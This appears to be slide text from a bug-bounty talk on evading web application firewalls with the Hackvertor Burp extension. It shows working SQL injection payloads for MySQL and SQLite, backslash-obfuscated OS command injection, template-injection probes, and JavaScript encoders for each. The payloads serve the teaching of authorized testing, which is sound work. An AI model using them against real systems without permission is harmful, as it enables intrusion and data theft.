

How Gareth Heyes Made Me \$22K in Under 1 Week

WAF bypass payload engineering with Hackvertor

Ads Dawson 0xmoose • Independent Security Researcher

The WAF Speaks **Regex**. You Speak **SQL**.

WHAT THE WAF SEES

403 - UNION SELECT

403 - OR 1=1

403 - whoami

403 - {{7*7}}

WHAT THE WAF DOESN'T SEE

200 - UNION VALUES (...)

200 - CASE WHEN ... 0x4D79...

200 - wh\oami

200 - {{config.__class__}}

The bug is behind the WAF. The WAF is a vocabulary problem. Hackvertor is a **thesaurus**. Every pair above is from a real bounty report I submitted.

Hackvertor in 60 Seconds

What you type in Repeater

```
<@hex_entities>UNION SELECT</hex_entities>  
  
<@urlencode_all><@base64>{{7*7}}</base64></@urlencode_all>  
  
<@d_custom_mysql_hex>MySQL%</d_custom_mysql_hex>
```

Tags nest. Inner tags encode first.

Custom tags run your own JavaScript.

What the server receives

```
&#x55;&#x4e;&#x49;&#x4f;&#x4e;&#x20;&#x53;&#x45;&#x4c;  
&#x45;&#x43;&#x54;  
  
e3s3Kjd9fQ%3D%3D  
  
0x4D7953514C25
```

Encoded at send time. Every send.

Change the payload, not the encoding.

The WAF bypass dialect library

hex_entities

dec_entities

sql_hex

urlencode_all

css_escapes

unicode_escapes

octal_escapes

utf7

base64

hex_escapes

js_string

php_chr

Each tag is a dialect the WAF might not speak. On a boolean blind extraction where you send hundreds of requests iterating character positions, the iteration speed compounds massively.

Case Study 1 - Payments API

Boolean blind SQLi — MySQL 8 behind an aggressive WAF

\$9,000

The WAF blocklist vs passlist

BLOCKED (403)	PASSED (200)
OR, AND	
UNION SELECT	CASE WHEN
func()	0x hex literals
--, /**/	@@ sys variables
quoted strings	arithmetic ops

Custom tag: `mysql_hex`

```
function convert(input) {
  var hex = '0x';
  for (var i = 0; i < input.length; i++) {
    hex += input.charCodeAt(i)
      .toString(16)
      .padStart(2, '0')
      .toUpperCase();
  }
  return hex;
}
```

The Hackvertor payload

```
created_from>manual' AND
CASE WHEN
  (@@version_comment LIKE
    <@d_custom_mysql_hex>MySQL%<@/d_custom_mysql_hex>)
THEN 0 ELSE 1 END --
```

WHAT THE SERVER RECEIVES

```
created_from>manual' AND
CASE WHEN
  (@@version_comment LIKE
    0x4D7953514C25)
THEN 0 ELSE 1 END --
```

`total: 1 = TRUE` | `total: 0 = FALSE`

Boolean oracle via MySQL type juggling.

Extracted: AWS hostname, MySQL 8.0.17, server UUID, storage topology.

Case Study 2 - Enterprise WAF Product

\$13,000+

Live hacking event — four bypass classes against the same WAF in one session

SQLi: GLOB + UNION VALUES

HIGH

SQLite backend. WAF blocked UNION SELECT but not SQLite-specific syntax.

```
')) GLOB '*' UNION VALUES
(9999, 'proof', 'bypassed',
1337, 42, 'pwned',
sqlite_version())--
```

46 products + 1 attacker-controlled row. sqlite_version() = 3.44.2

OS Cmd Injection: Backslash

CRITICAL

Custom tag: backslash_insert

```
403 whoami 403 cat
200 wh\oami 200 c\at
```

```
<@_custom_backslash_insert>whoami</@>
→ wh\oami # bash: identical
```

Change to cat, curl, ls. Hit send. Backslash re-inserts.

SSTI: Zero WAF Detection

HIGH

WAF blocked XSS, SQLi, Log4Shell, XXE. Not template syntax.

```
{{7*7}} 200
{{config}} 200
{{"__.__class__.__mro__}} 200
<%= system('id') %> 403
# only blocked because system( matched cmd rule
```

11 payloads across 5 engines. 11 passed. Jinja2, Twig, Pebble, Nunjucks, ERB.

Custom tag: backslash_insert

```
function convert(input) {
  if (input.length <= 2) return input;
  return input.substring(0, 2)
    + '\\' + input.substring(2);
}
```

```
// "whoami" → "wh\oami"
// "cat" → "c\at"
// "curl" → "cu\r\l"
```

5 lines of JavaScript. 403 → Critical.

The Workflow

1

Map the blocklist

Send known-bad payloads.
Record what returns 403.
Build the vocabulary the WAF
speaks.

2

Find the gaps

What syntax does the same thing
but returns 200?
Alternative SQL, hex literals,
shell metacharacter tricks.

3

Build custom tags

Write JavaScript that transforms
payloads into the bypass dialect.
5-10 lines. Reusable.

4

Iterate in Repeater

Change the payload. Hit send.
Tags re-encode.
Test bypass logic, not encoding
state.

Without Hackvortor

Write payload. Open CyberChef.
Convert string to hex. Copy. Paste into Repeater.
Send. Change one character. Open CyberChef again.
Convert. Copy. Paste. Send.
Repeat 200 times for blind extraction.

With Hackvortor

Write payload with tags. Send.
Change one character. Send.
Change one character. Send.
Change one character. Send.
Never leave Repeater.

403 Is Not a **Stop** Sign

The gap between 403 and Critical is one encoding transform.

Gareth, if you are here: thank you for building this thing. It directly put money in my pocket.

Everyone else: go use it.

Get Hackvortor

BApp Store > Hackvortor

Gareth Heyes

portswigger.net/research

0xmoose